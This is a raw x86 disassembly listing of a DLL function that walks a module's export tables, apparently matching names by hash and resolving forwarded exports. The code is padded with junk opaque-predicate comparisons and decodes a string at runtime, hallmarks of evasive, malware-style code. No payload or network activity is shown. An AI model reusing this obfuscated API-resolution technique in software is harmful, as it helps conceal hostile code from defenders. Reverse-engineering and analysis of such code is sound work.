jmp 0x1001e310
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x6e4], eax
je 0x1001e327
mov dword [ebp - 0x6ec], 1
jmp 0x1001e32e
and dword [ebp - 0x6ec], 0
cmp dword [ebp - 0x6ec], 0x7d594484
jl 0x1001e346
mov dword [ebp - 0x6f4], 1
jmp 0x1001e34d
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
sub eax, dword [ebp - 0x18c]
test eax, eax
jg 0x1001e369
mov dword [ebp - 0x6fc], 1
jmp 0x1001e370
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x184]
add eax, dword [ebp - 0x6fc]
cmp eax, 0xac39
jl 0x1001e38f
mov dword [ebp - 0x704], 1
jmp 0x1001e396
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0x98ef544b
jae 0x1001e3ae
mov dword [ebp - 0x70c], 1
jmp 0x1001e3b5
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x8cc]
cmp dword [ebp - 0x70c], eax
jg 0x1001e3cf
mov dword [ebp - 0x8d4], 1
jmp 0x1001e3d6
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0xcc8], eax
mov eax, dword [ebp - 0x18c]
neg eax
mov dword [ebp - 0x28], eax
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001e40c
push 0
push 0x146f
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001e425
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x90], ax
jmp 0x1001e5f6
mov eax, dword [0x10627114]
and eax, 1
jne 0x1001e461
mov eax, dword [0x10627114]
or eax, 1
mov dword [0x10627114], eax
mov dword [ebp - 4], 0x22
mov ecx, 0x1062716c
call fcn.10020446
push 0x10074493
call fcn.1005a665
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1061c3dc]
test eax, eax
je 0x1001e4cd
mov ecx, 0x1062716c
call fcn.1002050b
movzx eax, al
test eax, eax
jne 0x1001e4cd
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x714]
push eax
mov ecx, 0x1062716c
call fcn.10020514
lea eax, [ebp - 0xbe0]
push eax
mov ecx, 0x1062716c
call fcn.100204fd
push eax
lea ecx, [ebp - 0x714]
call fcn.1002036f
movzx eax, al
test eax, eax
je 0x1001e4cd
lea ecx, [ebp - 0x714]
call fcn.10020529
mov eax, dword [eax + 4]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
jne 0x1001e5f6
mov ecx, 0x1062716c
call fcn.100207e3
mov ecx, dword [ebp - 0xc0]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1062716c
call fcn.100207e7
and dword [ebp - 0x128], 0
jmp 0x1001e50e
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x128]
cmp ecx, dword [eax + 0x18]
jae 0x1001e5f6
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x128]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 0
je 0x1001e5f1
mov eax, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xe0c]
call fcn.100202eb
mov dword [ebp - 4], 0x23
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xe0c]
call fcn.1000a9c9
mov dword [ebp - 0x724], eax
movzx eax, byte [0x1061c3dc]
test eax, eax
je 0x1001e59f
mov ecx, 0x1062716c
call fcn.1002050b
movzx eax, al
test eax, eax
jne 0x1001e5bf
lea eax, [ebp - 0x724]
push eax
mov ecx, 0x1062716c
call fcn.100207a5
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov byte [0x1061c3dc], 1
cmp dword [ebp - 0x130], 0xffffffff
jne 0x1001e5e2
mov eax, dword [ebp - 0x724]
cmp eax, dword [ebp - 0x21c]
jne 0x1001e5e2
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x130], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe0c]
call fcn.1002030e
jmp 0x1001e501
mov dword [ebp - 0xb8], 0xed9a
mov dword [ebp - 0x194], 0x36be856d
mov dword [ebp - 0x340], 1
mov dword [ebp - 0x224], 0
jmp 0x1001e62d
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 4
jge 0x1001e649
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x844], 5
jmp 0x1001e620
mov eax, dword [ebp - 0xb8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x844]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x844]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x844]
mov ecx, 0x461e3ff1
sub ecx, eax
cmp dword [ebp - 0xb8], ecx
jle 0x1001e693
mov dword [ebp - 0x72c], 1
jmp 0x1001e69a
and dword [ebp - 0x72c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x844]
cmp dword [ebp - 0x72c], eax
jge 0x1001e6c1
cmp dword [ebp - 0xb8], 0
jne 0x1001e6c1
and dword [ebp - 0x8dc], 0
jmp 0x1001e6cb
mov dword [ebp - 0x8dc], 1
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xd20], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x194], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x844]
cmp dword [ebp - 0x194], eax
jge 0x1001e704
mov dword [ebp - 0x734], 1
jmp 0x1001e70b
and dword [ebp - 0x734], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x844]
imul eax, dword [ebp - 0x734]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x844]
je 0x1001e73a
mov dword [ebp - 0x73c], 1
jmp 0x1001e741
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
dec eax
dec eax
je 0x1001e7b5
mov dword [ebp - 0x8e4], 0xbfc7
mov eax, dword [ebp - 0xb8]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x844]
je 0x1001e77f
cmp dword [ebp - 0x8e4], 0
je 0x1001e77f
mov dword [ebp - 0x744], 1
jmp 0x1001e786
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x744], eax
jg 0x1001e7a0
mov dword [ebp - 0x3bc], 1
jmp 0x1001e7a7
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x194], eax
jmp 0x1001e7cc
mov dword [ebp - 0x3c4], 0x8bbe26b5
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0xbe8], eax
cmp dword [ebp - 0x194], 0
je 0x1001e803
mov dword [ebp - 0x194], 1
cmp dword [ebp - 0xb8], 0xfffd
je 0x1001e803
mov dword [ebp - 0x3cc], 1
jmp 0x1001e80a
and dword [ebp - 0x3cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x844]
cmp dword [ebp - 0x3cc], eax
jl 0x1001e83b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x844], 0
je 0x1001e83b
mov dword [ebp - 0x3d4], 1
jmp 0x1001e842
and dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x340]
imul eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x340], eax
cmp dword [ebp + 0x10], 0
jne 0x1001e884
cmp dword [ebp - 0x130], 0xffffffff
je 0x1001e884
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x130]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x90], ax
movzx eax, word [ebp - 0x90]
cmp eax, 0xffff
je 0x1001ecb6
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x90]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x8ec], eax
mov eax, dword [ebp - 0x8ec]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax]
mov dword [ebp - 0xc8], ecx
mov eax, dword [ebp - 0xc8]
cmp eax, dword [ebp - 0xc0]
jbe 0x1001ecab
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x19c]
mov edx, dword [ebp - 0xc0]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xc8], edx
jae 0x1001ecab
mov eax, dword [0x10627114]
and eax, 2
jne 0x1001e92f
mov eax, dword [0x10627114]
or eax, 2
mov dword [0x10627114], eax
mov dword [ebp - 4], 0x24
push 0x4d37
call fcn.10043045
pop ecx
mov byte [0x106271cc], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa4], 1
mov byte [ebp - 0xa3], 0xae
mov byte [ebp - 0xa2], 0
mov byte [ebp - 0xa1], 8
mov byte [ebp - 0xa0], 2
mov byte [ebp - 0x9f], 0xd8
mov byte [ebp - 0x9e], 0x27
mov byte [ebp - 0x9d], 2
mov byte [ebp - 0x9c], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa4]
or eax, 0xc2
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa4]
and ecx, 0xc2
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xa4]
mov byte [ebp + ecx - 0xfc], al
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1a4], 0
jmp 0x1001e9c4
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 9
jae 0x1001eaa2
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001ea0e
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa4]
inc eax
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa4]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
jmp 0x1001e9bc
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0xa3]
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x1a4]
movzx ecx, byte [ebp + ecx - 0xa6]
movsx ecx, byte [ebp + ecx - 0xfc]
add eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0xa3]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x1a4]
movzx edx, byte [ebp + edx - 0xa6]
movsx edx, byte [ebp + edx - 0xfc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0xa3]
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x1a4]
movzx edx, byte [ebp + edx - 0xa6]
movsx edx, byte [ebp + edx - 0xfc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0xa4]
mov byte [ebp + ecx - 0xfc], al
and dword [ebp - 0x1a4], 0
jmp 0x1001e9bc
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0xfc], 0
mov eax, dword [0x10627114]
and eax, 4
jne 0x1001eaee
mov eax, dword [0x10627114]
or eax, 4
mov dword [0x10627114], eax
mov dword [ebp - 4], 0x25
lea eax, [ebp - 0xfc]
push eax
mov ecx, 0x106271b4
call fcn.100202eb
push 0x10074484
call fcn.1005a665
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x22c], 0
jmp 0x1001eb04
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 4
jae 0x1001eb1d
mov eax, dword [ebp - 0x22c]
mov byte [ebp + eax - 0xfc], 0
jmp 0x1001eaf7
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
movsx eax, byte [eax]
movsx ecx, byte [0x106271cc]
cmp eax, ecx
je 0x1001eb4c
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
jmp 0x1001eb29
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
push dword [ebp - 0x104]
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xd40]
call fcn.10023275
mov dword [ebp - 4], 0x26
push 0x106271b4
lea ecx, [ebp - 0xd40]
call fcn.10020318
lea eax, [ebp - 0xcd0]
push eax
lea ecx, [ebp - 0xd40]
call fcn.1002033d
push dword [eax]
lea eax, [ebp - 0xbf0]
push eax
lea ecx, [ebp - 0xd40]
call fcn.10020329
push dword [eax]
lea ecx, [ebp - 0xdcc]
call fcn.1002329e
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0xdcc]
push eax
call fcn.1000b6ad
pop ecx
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x1001ec57
push dword [ebp - 0x104]
lea ecx, [ebp - 0xd94]
call fcn.100202eb
mov byte [ebp - 4], 0x28
lea edx, [ebp - 0x8f4]
lea ecx, [ebp - 0xd94]
call fcn.1000aaaf
movzx eax, al
test eax, eax
je 0x1001ec27
push 0
push dword [ebp - 0x8f4]
push 0
push dword [ebp - 0x348]
call fcn.1001843e
add esp, 0x10
mov dword [ebp - 0xc8], eax
jmp 0x1001ec46
push 1
push 0
lea eax, [ebp - 0xd94]
push eax
push dword [ebp - 0x348]
call fcn.1001843e
add esp, 0x10
mov dword [ebp - 0xc8], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xd94]
call fcn.1002030e
jmp 0x1001ec8d
cmp dword [ebp + 0x10], 0
jne 0x1001ec6d
mov ecx, dword [ebp + 0xc]
call fcn.10020122
mov dword [ebp - 0x3dc], eax
jmp 0x1001ec77
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x3dc], eax
push dword [ebp - 0x3dc]
push dword [ebp + 8]
call fcn.10013293
pop ecx
pop ecx
mov dword [ebp - 0xc8], eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xdcc]
call fcn.100202a4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd40]
call fcn.1002030e
mov eax, dword [ebp - 0xc8]
jmp 0x1001ee87
mov dword [ebp - 0x8a0], 0xcf5720e
mov dword [ebp - 0x89c], 0xcf5720e
mov dword [ebp - 0x898], 0xcf5720e
mov dword [ebp - 0x894], 0xcf5720e
mov dword [ebp - 0x58], 0x42a43d95
mov dword [ebp - 0x58], 3
jmp 0x1001ecf5
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jl 0x1001ed91
mov dword [ebp - 0x234], 0
jmp 0x1001ed18
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 1
jge 0x1001ed34
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x1ac], 0xc23afc37
jmp 0x1001ed0b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1ac], 3
jmp 0x1001ed62
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ac]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1ac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1ac], 0
jl 0x1001ed8c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ac]
mov dword [ebp + eax*4 - 0x8a0], 0xffffffff
jmp 0x1001ed47
jmp 0x1001ecee
cmp dword [ebp - 0x58], 0
jne 0x1001eda3
mov dword [ebp - 0x3e4], 1
jmp 0x1001edaa
and dword [ebp - 0x3e4], 0
cmp dword [ebp - 0x3e4], 0
je 0x1001edbf
mov dword [ebp - 0x3f4], 1
jmp 0x1001edc6
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xd00], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
push 4
pop ecx
imul ecx, ecx, 3
add eax, dword [ebp + ecx - 0x8a0]
cmp dword [ebp - 0x58], eax
jle 0x1001edfb
or eax, 0xffffffff
jne 0x1001edfb
and dword [ebp - 0x3ec], 0
jmp 0x1001ee05
mov dword [ebp - 0x3ec], 1
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x3ec], eax
jge 0x1001ee1c
mov dword [ebp - 0x3fc], 1
jmp 0x1001ee23
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3f4]
cmp eax, dword [ebp - 0x3fc]
jle 0x1001ee3d
mov dword [ebp - 0x404], 1
jmp 0x1001ee44
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x58], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x58], eax
jl 0x1001ee6b
mov dword [ebp - 0x40c], 1
jmp 0x1001ee72
and dword [ebp - 0x40c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + eax - 0x8a0], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret